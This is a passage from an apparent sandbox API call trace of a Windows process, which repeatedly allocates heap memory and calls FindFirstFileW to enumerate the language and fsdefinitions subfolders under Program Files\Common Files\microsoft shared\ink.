ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.358] GetProcessHeap () returned 0xaf0000 [0276.358] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.358] GetProcessHeap () returned 0xaf0000 [0276.358] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.358] GetProcessHeap () returned 0xaf0000 [0276.358] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.358] GetProcessHeap () returned 0xaf0000 [0276.358] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.359] GetProcessHeap () returned 0xaf0000 [0276.359] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.359] GetProcessHeap () returned 0xaf0000 [0276.359] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.359] GetProcessHeap () returned 0xaf0000 [0276.359] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.359] GetProcessHeap () returned 0xaf0000 [0276.360] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.360] GetProcessHeap () returned 0xaf0000 [0276.360] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.360] GetProcessHeap () returned 0xaf0000 [0276.360] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.360] GetProcessHeap () returned 0xaf0000 [0276.360] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.360] GetProcessHeap () returned 0xaf0000 [0276.360] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.361] GetProcessHeap () returned 0xaf0000 [0276.361] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.361] GetProcessHeap () returned 0xaf0000 [0276.361] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.361] GetProcessHeap () returned 0xaf0000 [0276.361] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.361] GetProcessHeap () returned 0xaf0000 [0276.361] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.361] GetProcessHeap () returned 0xaf0000 [0276.362] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.362] GetProcessHeap () returned 0xaf0000 [0276.362] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.362] GetProcessHeap () returned 0xaf0000 [0276.362] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.363] GetProcessHeap () returned 0xaf0000 [0276.363] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.363] GetProcessHeap () returned 0xaf0000 [0276.363] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.363] GetProcessHeap () returned 0xaf0000 [0276.363] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.364] GetProcessHeap () returned 0xaf0000 [0276.364] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.364] GetProcessHeap () returned 0xaf0000 [0276.364] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.364] GetProcessHeap () returned 0xaf0000 [0276.364] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.365] GetProcessHeap () returned 0xaf0000 [0276.365] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.365] GetProcessHeap () returned 0xaf0000 [0276.365] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.365] GetProcessHeap () returned 0xaf0000 [0276.365] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.365] GetProcessHeap () returned 0xaf0000 [0276.365] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.366] GetProcessHeap () returned 0xaf0000 [0276.366] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.366] GetProcessHeap () returned 0xaf0000 [0276.366] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.366] GetProcessHeap () returned 0xaf0000 [0276.366] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.366] GetProcessHeap () returned 0xaf0000 [0276.366] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.367] GetProcessHeap () returned 0xaf0000 [0276.367] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.367] GetProcessHeap () returned 0xaf0000 [0276.367] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.367] GetProcessHeap () returned 0xaf0000 [0276.367] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.367] GetProcessHeap () returned 0xaf0000 [0276.367] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36bb2a0 [0276.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a7, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.368] GetProcessHeap () returned 0xaf0000 [0276.368] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36bb2a0 | out: hHeap=0xaf0000) returned 1 [0276.368] GetProcessHeap () returned 0xaf0000 [0276.368] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.369] GetProcessHeap () returned 0xaf0000 [0276.369] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.370] GetProcessHeap () returned 0xaf0000 [0276.370] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.370] GetProcessHeap () returned 0xaf0000 [0276.370] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.371] GetProcessHeap () returned 0xaf0000 [0276.371] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.371] GetProcessHeap () returned 0xaf0000 [0276.371] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.372] GetProcessHeap () returned 0xaf0000 [0276.372] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.372] GetProcessHeap () returned 0xaf0000 [0276.372] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.372] GetProcessHeap () returned 0xaf0000 [0276.372] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.372] GetProcessHeap () returned 0xaf0000 [0276.373] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.373] GetProcessHeap () returned 0xaf0000 [0276.373] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.373] GetProcessHeap () returned 0xaf0000 [0276.373] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.373] GetProcessHeap () returned 0xaf0000 [0276.373] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.374] GetProcessHeap () returned 0xaf0000 [0276.374] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.374] GetProcessHeap () returned 0xaf0000 [0276.374] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.374] GetProcessHeap () returned 0xaf0000 [0276.374] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.375] GetProcessHeap () returned 0xaf0000 [0276.375] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.375] GetProcessHeap () returned 0xaf0000 [0276.375] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, 